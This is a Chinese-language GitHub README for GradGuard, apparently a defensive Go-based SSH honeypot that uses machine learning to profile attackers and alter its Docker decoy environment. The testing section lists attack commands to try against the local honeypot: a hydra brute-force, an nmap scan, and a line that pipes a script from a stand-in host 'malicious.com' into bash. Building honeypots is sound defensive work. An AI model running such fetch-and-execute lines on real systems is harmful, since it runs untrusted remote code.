s-uryansh/GradGuard
GitHub: s-uryansh/GradGuard
基于 Go 和机器学习的自适应 SSH 蜜罐,能实时识别攻击者指纹探测并动态修改容器环境以维持欺骗,显著提升威胁情报的收集质量。
Stars: 0 | Forks: 0
# GradGuard:基于 ML 的自适应 SSH 蜜罐




GradGuard 是一个纯 Go 语言构建的新一代 SSH 蜜罐,它利用内存中的机器学习主动对攻击者进行画像,并动态改变自身环境以欺骗他们。
## 问题背景
标准蜜罐彻底改变了威胁情报领域,但如今的攻击者非常聪明。现代僵尸网络和人类对手在登录的瞬间就会运行自动化的指纹识别脚本。他们会检查 `/proc/1/cgroup` 中的 Docker 哈希值,探测 `lsblk` 寻找伪造的文件系统,并测量 CPU 资源。**如果他们检测到这是蜜罐,就会立即断开连接,使安全团队错失宝贵的载荷数据。**
## 解决方案 (为什么选择 GradGuard?)
GradGuard 改变了游戏规则。GradGuard 不会呈现静态的伪造文件系统,而是为每一个 SSH 连接生成一个实时的、隔离的、短暂的 Docker 容器。
当攻击者输入时,GradGuard 定制的 ML 引擎会实时评估他们的行为。如果检测到侦察或指纹识别活动,**GradGuard 会动态变异容器环境**——伪造物理机 CPU 状态、重写 `.dockerenv`,并注入蜜标——以保持攻击者的参与度,让他们确信自己已经入侵了一台真正的生产服务器。
### 主要特性
* **纯 Go 架构:** 无 Python 依赖;快速、并发,部署时仅为单个二进制文件。
* **内存机器学习:** 使用 Logistic Regression、Naive Bayes 和异常检测对意图进行分类(暴力破解、侦察、指纹识别、漏洞利用)。
* **动态欺骗引擎:** 基于实时的可疑评分,主动修补环境(例如,掩盖 `/proc/cpuinfo` 或注入终端延迟)。
* **出站流量沉洞:** 恶意的出站载荷请求(例如,`wget`)会被隔离的 Docker 桥接网络拦截,并通过内部的 Go DNS/HTTP 沉洞提供无害的伪造恶意软件。
* **高交互诱饵:** 容器预先植入了逼真的服务器杂物(伪造的 AWS 密钥、数据库历史记录和配置文件),以最大化攻击者的停留时间。
* **取证仪表盘 CLI:** 内置分析工具,具备 IP 地理定位、命令时间线和 ML 评估矩阵功能。
* **自我改进反馈循环:** 每次攻击者的会话都会被重新吸收到训练数据集中。
## 数据集与机器学习
为了确保企业级的准确性,GradGuard 的 ML 模型在超过 **170MB 的真实威胁数据**上进行了预训练,并通过自定义提取管道进行了统一:
1. **[Cowrie JSON 日志](https://www.kaggle.com/datasets/nlaha11/global-ssh-and-telnet-honeypot-logs-cowrie):** 用于在实际的 shell 命令意图和行为序列上训练 Naive Bayes 分类器。
2. **[CIC-IDS-2017](https://www.unb.ca/cic/datasets/ids-2017.html) 和 [CIC-IDS-2018](https://www.unb.ca/cic/datasets/ids-2018.html):** 用于在网络流时间上训练 Logistic 分类器(区分自动化的 SSH-Patator 僵尸网络与人类手动输入)。
3. **[NSL-KDD](https://www.kaggle.com/datasets/hassan06/nslkdd):** 为基于欧几里得距离的异常检测器提供传统的“正常”基线。
*注意:本代码仓库包含一个序列化的预训练模型 (`trained_model.bin`)。您无需下载庞大的原始数据集即可运行该蜜罐。*
## 安装与配置
### 依赖项
* **Go 1.21+**
* **Docker**
* **Make**(可选,但推荐使用)
### 1. 克隆代码仓库
```
git clone https://github.com/s-uryansh/GradGuard.git
cd GradGuard
```
### 2. 构建
使用 **Makefile** 构建:
```
# 构建 Docker 基础镜像并创建隔离的 gradguard-net
make install
# 编译 Go 二进制文件并启动 honeypot 服务器
make run
```
使用 **docker** 构建:
```
# 构建欺骗环境
docker build -t honeypot-base -f Dockerfile.base .
# 为 sinkhole 创建隔离网络
docker network create --driver bridge --subnet=172.19.0.0/16 gradguard-net || true
# 构建引擎
go build -o gradguard cmd/honeypot/main.go
```
### 3. 用法与命令
运行服务器
```
sudo ./gradguard
```
训练:
如果您已下载原始数据集并希望从头开始重新训练 ML 权重:
```
sudo ./gradguard train
```
运行分析器
```
./gradguard analyze
```
运行特定会话的分析器:
```
./gradguard analyze --session
```
#### 3.1 测试与攻击
* **nmap** 探测:```nmap -sV -p 2222 127.0.0.1```
* 自动化**暴力破解**攻击:```hydra -l root -p password ssh://127.0.0.1:2222 -t 4```
* 手动攻击测试:
ssh -p 2222 root@127.0.0.1
# 尝试运行:
# cat /proc/1/cgroup
# curl [http://malicious.com/payload.sh](http://malicious.com/payload.sh) | bash
# history -c
标签:Apex, BOF, Deception Technology, DevSecOps, Docker, EDR绕过, EVTX分析, Golang, Go语言, Honeypot, ML, Mr. Robot, SSH蜜罐, Threat Intelligence, Web截图, Web报告查看器, 上游代理, 僵尸网络防御, 内存计算, 动态防御, 反指纹检测, 后渗透, 威胁情报, 子域名变形, 安全编程, 安全防御评估, 容器安全, 开发者工具, 开源软件, 异常检测, 微隔离, 插件系统, 攻击者画像, 无线安全, 日志审计, 朴素贝叶斯, 机器学习, 欺骗防御, 流量嗅探, 程序破解, 端点保护, 网络安全, 网络安全审计, 自适应蜜罐, 蜜罐, 证书利用, 诱饵, 请求拦截, 进程注入, 逻辑回归, 隐私保护, 零日威胁, 高交互蜜罐